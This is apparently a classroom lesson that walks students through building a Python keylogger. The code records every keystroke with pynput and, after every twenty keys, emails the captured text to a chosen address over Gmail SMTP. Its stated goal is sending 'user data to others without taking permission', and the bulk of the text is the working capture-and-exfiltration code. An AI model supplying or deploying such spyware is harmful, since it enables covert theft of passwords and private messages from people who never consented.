Keylogger

What is our GOAL for this CLASS?

In this class, we have learned about keyloggers and how to send user data to others without taking permission

What did we ACHIEVE in the class TODAY?

- We understood about Keylogger
- We understood how Keyloggers Work
- We understood the use of SMTP in key loggers

Which CONCEPTS/ CODING BLOCKS did we cover today?

- We used the libraries, smtplib,ssl
- We used key events to capture

Understanding concepts:

keystroke :
A keystroke is any action you perform on your keyboard. A keystroke is how you communicate with your computer. Each keystroke transmits a signal to tell your computer what you want it to do.

keylogger:
Keeping track of keystrokes and making log of all the keys you pressed on your keyboard is known as **"keylogger"**

Keyloggers are used for legitimate purposes and can be misused by criminals to steal your data and data captured by keyloggers can be sent back to attackers via email or uploaded to predefined websites, databases, or FTP servers.

SMTP Server:
With the **smtplib** module, you can send email to any Internet machine with an **SMTP** server.

How did we DO the activities?

1. Make two python files on one **"keylogger.py"** and second is **"sendemail.py"**
2. Start with **sendemail.py**
    - Start with **sendemail.py**
    - For sending email we need to use the SMTP library.
    - Install smtplib , ssl.

        pip install secure-smtplib
        pip install ssl

```
C:\Users\User>pip install secure-smtplib
Collecting secure-smtplib
  Downloading secure_smtplib-0.1.1-py2.py3-none-any.whl (3.4 kB)
Installing collected packages: secure-smtplib
Successfully installed secure-smtplib-0.1.1
```

    - Import smtplib, ssl

```
import smtplib, ssl
```

3. Create function sendEmail and pass the argument **"*message*"**

- Initialize variable smtp_server, SMTP service is used to send email from a device or app using gmail account
- Set the port no 587, which is used for smtp protocol
- Initialize variable "**sender_email"** which will store email address where you want to send key logs
- Write down your exact an **"original password**" of your email id

```
def sendEmail(message):
        smtp_server = "smtp.gmail.com"
        port = 587
        sender_email = "test@gmail.com"
        password = "test@123
        receiver_email = "test90@gmail.com"

        context = ssl.create_default_context()
```

4. Write Logic to log in to server and send email
    - Bind server_address with port
    - Using StartTLS, an email client can inform the email server that it wants to upgrade from an insecure to secure connection using TLS or SSL. SSL context to secure the connection.
    - Using the password provided by sender_email, ***"serve.login"*** tries to log into that particular id
    - Using ***"sendmail"*** function, it will send an email on mention email addresses - sender_email, receiver_email, along with key logs, i.e., in form of a message.

```
try:
    server = smtplib.SMTP(smtp_server,port)
    server.starttls(context=context)
    server.login(sender_email, password)
    server.sendmail(sender_email, receiver_email, message)
```

5. Any error that occurs should be passed to an exception and the that should be printed using **print()**

```
except Exception as e:
    print(e)
finally:
    server.quit()
```

6. To control and monitor input devices we need to use pynput library

    - Import pynput
    - The pynput library has two function keys and listener, listener will listen to all keys.
    - Now we need to import our send_email code too
    - import send_email

```
import pynput
from pynput.keyboard import Key, Listener
import send_email

count = 0
keys = []
```

7. To check what key is pressed we will create a function which will log our pressed keys

    - Print pressed keys
    - Make global variables keys & count

- Using the append() method it will add a new single element in the end of the previous list which we are saving in the keys array, we are adding into the array .
- Increment the count by 1

- When the character count is beyond 20, only then it call our function email which will take all the keys Start counting again from zero

- Send the pressed keys information via email function

```
def on_press(key):
    print(key, end= " ")
    print("pressed ")
    global keys, count
    keys.append(str(key)+'\n')
    count += 1
    if count > 20:
        count = 0
        email(keys)
```

8. In the next step, let's create a function email that takes all information about keys pressed and sends out in the form of a message to the email address we specified.

- Initialize variable message

- For loops is used to sanitize each and every output from the array keys

- Variable " k " It will take all the values that is appended in the array

- All key presses separated by an inverted comma are replaced by nothing in order to make it readable

- If key pressed is space, then put space if any other key is pressed like shift up, shift down, just print the information and replace it with nothing

- Each key pressed information should be added to the message variable

- Using send_email function message using email

```
def email(keys):
    message = ""
    for key in keys:
        k = key.replace("'","")
        if key == "Key.space":
            k = " "
        elif key.find("Key")>0:
            k = ""
        message += k
    print(message)
    send_email.sendEmail(message)
```

9. Now we need to check any key released ,On released function will be checking the key is escaped or not it will return false and stop the listener and close the program

```
def on_release(key):
    if key == Key.esc:
        return False
```

10. Listener will listen key pressed and release key , basically we will call this function on_press and on_reelease it will record pressed key or release key

```
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()
```


What's NEXT?

In the next class we will learn about virus _____

Expand Your Knowledge